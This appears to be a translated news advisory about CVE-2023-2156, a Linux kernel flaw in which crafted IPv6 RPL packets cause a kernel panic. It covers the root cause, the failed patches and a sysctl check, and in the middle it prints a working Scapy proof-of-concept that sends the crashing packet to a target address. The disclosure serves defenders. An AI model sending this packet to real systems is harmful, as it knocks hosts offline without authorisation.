Details have been revealed about an unpatched (0-day) vulnerability (CVE-2023-2156) in the Linux kernel, which allows the system to be halted by sending specially crafted IPv6 packets (packet-of-death). The issue manifests only when RPL (Routing Protocol for Low-Power and Lossy Networks) protocol support is enabled, which is disabled by default in distributions and is mainly used on embedded devices operating in wireless networks with high packet loss.
The vulnerability is caused by improper handling of external data in the RPL protocol parsing code, leading to an assert failure and causing the kernel to enter a panic state. When inserting data obtained from parsing the header of the IPv6 RPL packet into the k_buff (Socket Buffer) structure, if the CmprI field is set to 15, the Segleft field to 1, and CmprE to 0, a 48-byte address vector is unpacked to 528 bytes, resulting in insufficient allocated memory for the buffer. At this point, in the skb_push function, which is used to place data into the structure, a check for the mismatch between the data size and the buffer occurs, generating a panic state to prevent writing beyond the buffer.
Example exploit: # We’ll use Scapy to craft the packet from scapy.all import * import socket # Use the IPv6 from your LAN interface DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # We use sockets to send the packet sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Craft the packet # Type = 3 makes this an RPL packet # Addresses contains 3 addresses, but because CmprI is 15, # each octet of the first two addresses is treated as a compressed address # Segleft = 1 to trigger the amplification # lastentry = 0xf0 sets CmprI to 15 and CmprE to 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) \/ IPv6ExtHdrSegmentRouting(type=3, addresses=["a8::", "a7::", "a6::"], segleft=1, lastentry=0xf0) # Send this evil packet sockfd.sendto(bytes(p), (DST_ADDR, 0))
Notably, kernel developers were notified about the vulnerability back in January 2022, and over the past 15 months, they attempted to address the issue three times, releasing patches in September 2022, October 2022, and April 2023. However, each time the fixes proved inadequate, and the vulnerability could still be reproduced. Ultimately, the ZDI project, which coordinated the effort to mitigate the vulnerability, decided to disclose detailed information about it without waiting for a working fix in the kernel.
Thus, the vulnerability remains unpatched. The patch included in kernel 6.4-rc2 is also ineffective. Users are advised to check that the RPL protocol is not in use on their systems, which can be done using the command sysctl -a | grep -i rpl_seg_enabled.
Source: opennet.ru
